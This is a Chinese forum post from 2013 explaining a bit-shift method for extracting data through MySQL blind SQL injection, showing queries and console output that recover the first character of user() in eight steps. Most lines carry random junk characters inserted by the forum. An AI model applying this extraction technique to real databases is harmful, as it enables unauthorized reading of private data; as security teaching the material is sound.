找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2055|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位2 B# i6 [, `0 N* e) T! O
7 u, ?! Z2 R* d! t( ?, g0 r

' z6 B% N+ ^6 {6 w+ b* b( V& y0 m( W) `3 c$ ~" H2 u$ b* S& B# P
下面将以查询mysql数据库当中user()的第一位为例:: C+ l) k8 W, H8 D$ c) Z

9 U' W# K5 J' N. M& ?
  t9 _4 k/ p8 N3 m: D  P/ S4 @5 ]4 A
& g, \# I, O9 G. E! Z  Rps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)/ j) u( k& n4 e* z* x

% B- E2 W% o5 W# T/ F 3 B3 X4 B+ _  i- @+ u2 U; O

' I5 W& E) |( m  M+ I2 C首先执行如下sql语句:2 G% B4 G0 C( T" |9 c7 ^

/ ]- r9 `& e1 r% P& K' c1 P 1 c9 N$ g. |% w, }# F; ^
% J: D( _; e/ h% m: N3 u/ s
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;1 [/ E' J" U! H

# M$ O; }: S- o ' u& G2 l/ c' x5 I8 `" \4 i2 g# I
8 R7 t+ }3 D) g* n5 y5 f
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的) H& V/ t9 B/ O
& X# t3 D! D% @

4 M9 @2 U- j5 v& r# O- O! o; b
" K, d! J" [7 X( Y/ s第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
( i8 F$ B* @6 L7 S9 s9 \$ ]8 P* n7 G

# u  n% {/ c. m; w! Z# H' {: e, ]- R8 r
如果运算结果为1,说明第一位为0,不为1
* k" p$ P" M; w* n# }; v% K0 E2 N% P- U. _+ e/ R; p0 j
" p. m/ L' M2 E/ N( D7 _8 Q' r/ L2 W

" G/ Y" \& u( |, u+————————————–+
( o( H# K) C8 T8 X- Y- O, \$ l3 W7 x" z# [2 s: S7 Y, z. S$ e, A. d* K
| (ascii((substr(user(),1,1))) >> 7)=0 |
2 B4 k8 s1 I/ D1 n" Z  I  v  Q- x6 B1 ?, M  [2 P2 J% C# u0 Y
+————————————–+; z" V: w7 s' y- p8 x& T' N

! O. S$ n1 k( h9 Q6 || 1 |
) ^. o8 t. D/ t  ]1 o/ b: S9 `2 |  ^3 b; E- N
+————————————–+
, i  x4 K1 m2 L+ V% l! q. j# x3 t' C
1 row in set (0.00 sec)
5 T8 f# e  e/ ~" b
6 f1 M& u: f: E. x! N7 y- v这样我们就确定这个8bit的ascii的第一位为05 w! i* K& ~& Y' {

7 @: p+ T# Y0 I4 a
; e' p1 Z; b7 G, {7 G0 n2 {/ T6 b* |% c
第二次我们来做6次右偏移来确定前两位
2 i; r( f  d' i; I3 H' d) N
" S) I, M# |: o# D7 n7 T6 F) {9 E 0 T6 B: j* r3 W3 a5 ^- |( H1 k- m
. e  y1 X  g, }4 ^4 r
前两位可能是01或00,即依然可以与0做比较,
: J* t  w$ I, H+ V. O$ R- O7 |; q3 Y# q
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 I' P% ]' b, W& W  e, Y/ M
' G; e2 L3 M3 D9 \' K6 {; H+————————————–+3 C: g+ c# g& z: R# J9 v; A
# _: B6 b! a% x, h; h
| (ascii((substr(user(),1,1))) >> 6)=0 |, U3 l4 ~9 n. |4 Y, F) q

. m6 |2 x  x1 x+————————————–+
$ l) a. e$ k1 C8 f0 V
$ |, j1 j  f; v7 L+ ~' y| 0 |+ ^4 d. }7 j3 f, I' D. m
) b6 X' F8 F& L# Z
+————————————–+
2 {- {# b9 E5 s( z5 d6 A
! W6 V5 f, d3 p$ L3 P) W" T$ K# p) C1 row in set (0.00 sec)
8 C" s" C& a6 t8 J
5 s+ I8 t* R3 s' b ) x! K2 @  [% L4 X$ {, L
& ]3 W% P, {8 w# G
结果为0,即第二位为1
5 S+ P0 H: F, @- h% t5 A
* B4 Y* e& {) C/ Q! Z
! c" l: `0 @7 C3 D. U9 u9 y, A$ a3 R9 n/ \- D- W* v6 a
开始猜测前三位为010或011
" _, h0 [5 v# A3 i7 X
: p7 {7 c9 ]& ?5 z
" O3 v* A6 t9 a$ h
/ y% C7 a6 L7 @9 L让我们看看010和011的ascii码是多少4 V$ [( y+ \. O' v: J! j$ b8 \% ^
8 V4 B8 ]! \" A% B
- s- C4 Z7 f2 {! g7 T

; ?( B- j, R0 W$ E8 g/ P7 V分别查询select b’011′ select b’010′" A6 `2 v& `% P, G) M7 l( X; L

+ P$ x  V1 E7 P+ _1 w: g . O# h! i/ v4 K
' \3 E% ?( A3 b9 J' w- A6 ?
获得结果 010 = 2 011 = 3
% B7 G, b. @; {! q/ s' A) B
/ r' P, f9 F0 ]9 j2 \. C
' c5 j% c$ `0 M, b5 M0 s. ~5 C, K  ], H' q( K
执行如下sql:
  k6 m. n" y# V
0 K% H$ _; d) E5 x2 c2 Z& Q! n$ m % K" [2 w& B! r5 X% L, A
# E+ d$ A, n, l
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;9 w6 n" V+ @2 U2 z
8 `. C9 i+ Y! h. |0 B: x3 w+ U
+————————————–+
3 k$ [4 ^7 _/ T0 c
( ]7 J9 d; \4 \/ d, I( [5 {. ]+ Z1 O| (ascii((substr(user(),1,1))) >> 5)=2 |
0 A6 v2 F% f; x' q# s! o% g
$ _( c* H% h, h4 \; G1 K+————————————–+1 C, d  }/ |5 B, C' N% s( @
( N; c( A  Y- x  g; F
| 0 |
( g6 F# D( E  r% E' O
. B4 a# k( ?5 k- F2 s  r+————————————–+: E4 \0 y. F! m* w1 H0 G6 U

1 s9 A- Z/ s1 }* l( H9 h) |+ N& O0 f即前三位不为010,而是011
2 H* f" W0 C+ k9 P4 i( ~) o" Q
! b$ \0 e5 m9 j. _ ; X$ ^# s0 D1 ^$ H4 V$ }

2 m9 L% r  [- ^0 e直到获得最后一位
1 f9 Y- Y4 y/ X. K5 d2 c
* @) |$ q, n  V" P& ?
/ i, |, J4 W5 l7 u+ S9 s
+ [8 @9 X/ y5 L$ O2 t, W2 b8 H最终结果为:011100106 s. n6 t  E4 m$ n* {
6 J- X8 ]5 e* L* d  O: [) d

! K% ?: _9 N$ D& D5 s8 F
, A, A8 W. o2 c1 v; C* H转换一下:9 K9 k7 _% Z$ p. O* L3 q' j  m; B

; i0 S2 U: t. @3 i9 n8 L
, _. E* [1 C$ U6 r1 a1 l: a# M. B1 {+ r
select b’01110010′
% \% T9 G& [+ ^# y0 G; _4 R9 `
( @! Y! e7 P0 s+ J6 f- t % O0 r# G$ I0 X1 p  r
5 B9 g( G: q  Y7 l; L, O' [3 d* L
查询结果# s/ g3 k! Z  X3 R
% U2 [: d; |5 H( o; I( o
9 i( k' L5 i& X, @' c1 g
7 ^6 p* h% I( ?" r6 L; R5 B! Z
+————-+; K* ]6 l: c1 l/ z4 w' F

, c$ \* z8 V, T" u$ t7 s1 l! d. A| b’01110010′ |- D# y. f  e) ~  {, [' r: h

" t: s* [( Y6 g( W9 p2 J+————-+
/ m0 Q. d, x. p/ c( X
1 }- X+ q$ \8 [! D| r |" s- B; z$ s) I0 M9 u2 {: D

1 P; T4 p  c, r0 W9 d2 @9 H1 x, d' w; @+————-+
' O% p% t- l% m9 ~) E2 `: X
8 t5 j; o) u+ G6 ^, n1 o1 row in set (0.00 sec)2 N) ]; E/ }8 u. s, L& Q" ^: f

9 k) h6 U& _  _7 | 9 P" J+ H( E$ D8 S% ^3 i" R# r, K
3 W' x! a% Z6 B0 X; B/ I
这样我们就获得了user()的第一位.其它位依此类推, P4 H4 t! y* b, G& D: w3 s; s

% n' Z  C; e' q! L  D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表